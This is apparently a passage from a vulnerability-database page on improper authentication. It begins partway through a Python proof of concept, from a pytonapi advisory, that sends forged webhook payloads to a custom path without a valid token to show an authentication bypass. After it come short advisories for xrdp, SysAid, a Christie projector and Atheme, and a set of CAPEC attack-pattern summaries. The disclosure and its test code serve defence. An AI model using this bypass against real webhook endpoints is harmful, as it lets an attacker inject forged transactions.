dispatcher_a.setup()\n\n # -----------------------------------------------------------------\n # Dispatcher B: only a DEFAULT path handler (control group)\n # -----------------------------------------------------------------\n client_b = FakeWebhookClient()\n dispatcher_b = TonapiWebhookDispatcher(\n \"https://victim.example/hook\",\n client=client_b,\n accounts=[\"0:victim\"],\n )\n default_called: list[str] = []\n\n @dispatcher_b.account_tx(\"0:victim\")\n async def on_default_tx(event) -\u003e None:\n default_called.append(event.tx_hash)\n\n await dispatcher_b.setup()\n\n print(\"=\" * 60)\n print(\"VULN-001: Webhook custom path authentication bypass PoC\")\n print(\"=\" * 60)\n print(f\"[dispatcher_a] registered paths : {dispatcher_a.paths}\")\n print(f\"[dispatcher_a] endpoints called : {client_a.registered_endpoints}\")\n print(f\"[dispatcher_a] _tokens map : {dispatcher_a._tokens}\")\n print()\n print(f\"[dispatcher_b] registered paths : {dispatcher_b.paths}\")\n print(f\"[dispatcher_b] endpoints called : {client_b.registered_endpoints}\")\n print(f\"[dispatcher_b] _tokens map : {dispatcher_b._tokens}\")\n print()\n\n forged_payload = {\n \"event_type\": \"account_tx\",\n \"account_id\": \"0:victim\",\n \"lt\": 1,\n \"tx_hash\": \"FORGED_TX_HASH\",\n }\n\n results: dict[str, str] = {}\n\n # ------------------------------------------------------------------\n # Case A: custom path, NO auth -\u003e BUG: should raise, actually passes\n # ------------------------------------------------------------------\n custom_called.clear()\n try:\n await dispatcher_a.process(\n \"/hook/custom\",\n forged_payload,\n authorization=None,\n )\n if \"FORGED_TX_HASH\" in custom_called:\n results[\"A\"] = (\n \"VULNERABLE \u2014 handler invoked with NO Authorization header; \"\n \"custom_called=\" + repr(custom_called)\n )\n else:\n results[\"A\"] = \"UNCERTAIN \u2014 process() did not raise but handler was not called\"\n except TONAPIError as exc:\n results[\"A\"] = f\"NOT_VULNERABLE (raised) \u2014 {exc}\"\n\n # ------------------------------------------------------------------\n # Case B: custom path, WRONG auth -\u003e BUG: should raise, actually passes\n # ------------------------------------------------------------------\n custom_called.clear()\n try:\n await dispatcher_a.process(\n \"/hook/custom\",\n forged_payload,\n authorization=\"Bearer totally-wrong-token\",\n )\n if \"FORGED_TX_HASH\" in custom_called:\n results[\"B\"] = (\n \"VULNERABLE \u2014 handler invoked with WRONG Authorization header; \"\n \"custom_called=\" + repr(custom_called)\n )\n else:\n results[\"B\"] = \"UNCERTAIN \u2014 process() did not raise but handler was not called\"\n except TONAPIError as exc:\n results[\"B\"] = f\"NOT_VULNERABLE (raised) \u2014 {exc}\"\n\n # ------------------------------------------------------------------\n # Case C: default path, NO auth -\u003e must raise (control: works correctly)\n # ------------------------------------------------------------------\n default_called.clear()\n try:\n await dispatcher_b.process(\n \"/hook/account-tx\",\n forged_payload,\n authorization=None,\n )\n results[\"C\"] = \"UNEXPECTED_PASS \u2014 default path accepted no-auth (unexpected)\"\n except TONAPIError as exc:\n results[\"C\"] = f\"CORRECTLY_REJECTED \u2014 {exc}\"\n\n # ------------------------------------------------------------------\n # Case D: default path, VALID auth -\u003e baseline, must succeed (control)\n # ------------------------------------------------------------------\n default_called.clear()\n try:\n await dispatcher_b.process(\n \"/hook/account-tx\",\n forged_payload,\n authorization=\"Bearer real-secret-token-abc123\",\n )\n if \"FORGED_TX_HASH\" in default_called:\n results[\"D\"] = \"CORRECTLY_ACCEPTED \u2014 default path with valid auth\"\n else:\n results[\"D\"] = \"UNCERTAIN \u2014 process() did not raise but handler was not called\"\n except TONAPIError as exc:\n results[\"D\"] = f\"UNEXPECTED_REJECTION \u2014 {exc}\"\n\n # ------------------------------------------------------------------\n # Summary\n # ------------------------------------------------------------------\n print(\"Test results:\")\n for case, result in results.items():\n print(f\" Case {case}: {result}\")\n print()\n\n vuln_confirmed = (\n \"VULNERABLE\" in results.get(\"A\", \"\")\n and \"VULNERABLE\" in results.get(\"B\", \"\")\n and \"CORRECTLY_REJECTED\" in results.get(\"C\", \"\")\n and \"CORRECTLY_ACCEPTED\" in results.get(\"D\", \"\")\n )\n\n if vuln_confirmed:\n print(\"[RESULT] VULNERABILITY CONFIRMED\")\n print(\" dispatcher_a._tokens has NO entry for /hook/custom (only for /hook/account-tx)\")\n print(\" =\u003e expected_token=None =\u003e auth check skipped =\u003e forged handler called\")\n print(\" Attacker can POST any payload to /hook/custom without credentials.\")\n else:\n print(\"[RESULT] VULNERABILITY NOT CONFIRMED\")\n print(\" Check individual case results above for details.\")\n\n return vuln_confirmed\n\n\nif __name__ == \"__main__\":\n confirmed = asyncio.run(run_poc())\n sys.exit(0 if confirmed else 1)\n```",
"id": "GHSA-3fcr-jvgp-7f58",
"modified": "2026-07-28T17:09:02Z",
"published": "2026-07-28T17:09:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nessshon/tonapi/security/advisories/GHSA-3fcr-jvgp-7f58"
},
{
"type": "WEB",
"url": "https://github.com/nessshon/tonapi/commit/854222b7ee68d3fb7b4d6d899d200f388483bd86"
},
{
"type": "PACKAGE",
"url": "https://github.com/nessshon/tonapi"
},
{
"type": "WEB",
"url": "https://github.com/nessshon/tonapi/releases/tag/v2.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "pytonapi has a Webhook Custom Path Authentication Bypass"
}
GHSA-3FGQ-WVWM-XQ86
Vulnerability from github – Published: 2022-05-13 01:25 – Updated: 2022-05-13 01:25xrdp 0.9.1 calls the PAM function auth_start_session() in an incorrect location, leading to PAM session modules not being properly initialized, with a potential consequence of incorrect configurations or elevation of privileges, aka a pam_limits.so bypass.
{
"affected": [],
"aliases": [
"CVE-2017-6967"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-03-17T09:59:00Z",
"severity": "HIGH"
},
"details": "xrdp 0.9.1 calls the PAM function auth_start_session() in an incorrect location, leading to PAM session modules not being properly initialized, with a potential consequence of incorrect configurations or elevation of privileges, aka a pam_limits.so bypass.",
"id": "GHSA-3fgq-wvwm-xq86",
"modified": "2022-05-13T01:25:26Z",
"published": "2022-05-13T01:25:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6967"
},
{
"type": "WEB",
"url": "https://github.com/neutrinolabs/xrdp/issues/350"
},
{
"type": "WEB",
"url": "https://github.com/neutrinolabs/xrdp/pull/694"
},
{
"type": "WEB",
"url": "https://bugs.launchpad.net/ubuntu/+source/xrdp/+bug/1672742"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-3FMG-J52Q-2CM9
Vulnerability from github – Published: 2021-12-15 00:01 – Updated: 2022-07-13 00:01Sysaid API User Enumeration - Attacker sending requests to specific api path without any authorization before 21.3.60 version could get users names from the LDAP server.
{
"affected": [],
"aliases": [
"CVE-2021-36721"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-14T14:15:00Z",
"severity": "MODERATE"
},
"details": "Sysaid API User Enumeration - Attacker sending requests to specific api path without any authorization before 21.3.60 version could get users names from the LDAP server.",
"id": "GHSA-3fmg-j52q-2cm9",
"modified": "2022-07-13T00:01:30Z",
"published": "2021-12-15T00:01:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36721"
},
{
"type": "WEB",
"url": "https://www.gov.il/en/departments/faq/cve_advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3FMH-FRPW-XCRQ
Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-05-24 19:12webctrl.cgi.elf on Christie Digital DWU850-GS V06.46 devices allows attackers to perform any desired action via a crafted query containing an unspecified Cookie header. Authentication bypass can be achieved by including an administrative cookie that the device does not validate.
{
"affected": [],
"aliases": [
"CVE-2021-40350"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-01T15:15:00Z",
"severity": "CRITICAL"
},
"details": "webctrl.cgi.elf on Christie Digital DWU850-GS V06.46 devices allows attackers to perform any desired action via a crafted query containing an unspecified Cookie header. Authentication bypass can be achieved by including an administrative cookie that the device does not validate.",
"id": "GHSA-3fmh-frpw-xcrq",
"modified": "2022-05-24T19:12:41Z",
"published": "2022-05-24T19:12:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40350"
},
{
"type": "WEB",
"url": "https://securityshards.wordpress.com/2021/08/31/cve-pending-christie-dwu850-gs-authentication-bypass"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3FV4-6WVG-X83X
Vulnerability from github – Published: 2022-02-15 00:02 – Updated: 2022-02-24 00:01Atheme IRC Services before 7.2.12, when used in conjunction with InspIRCd, allows authentication bypass by ending an IRC handshake at a certain point during a challenge-response login sequence.
{
"affected": [],
"aliases": [
"CVE-2022-24976"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-14T12:15:00Z",
"severity": "CRITICAL"
},
"details": "Atheme IRC Services before 7.2.12, when used in conjunction with InspIRCd, allows authentication bypass by ending an IRC handshake at a certain point during a challenge-response login sequence.",
"id": "GHSA-3fv4-6wvg-x83x",
"modified": "2022-02-24T00:01:13Z",
"published": "2022-02-15T00:02:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24976"
},
{
"type": "WEB",
"url": "https://github.com/atheme/atheme/commit/4e664c75d0b280a052eb8b5e81aa41944e593c52"
},
{
"type": "WEB",
"url": "https://github.com/atheme/atheme/compare/v7.2.11...v7.2.12"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2022/01/30/4"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Libraries or Frameworks
Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
CAPEC-114: Authentication Abuse
An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.
CAPEC-115: Authentication Bypass
An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.
CAPEC-151: Identity Spoofing
Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.
CAPEC-194: Fake the Source of Data
An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-593: Session Hijacking
This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.
CAPEC-633: Token Impersonation
An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.
CAPEC-650: Upload a Web Shell to a Web Server
By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.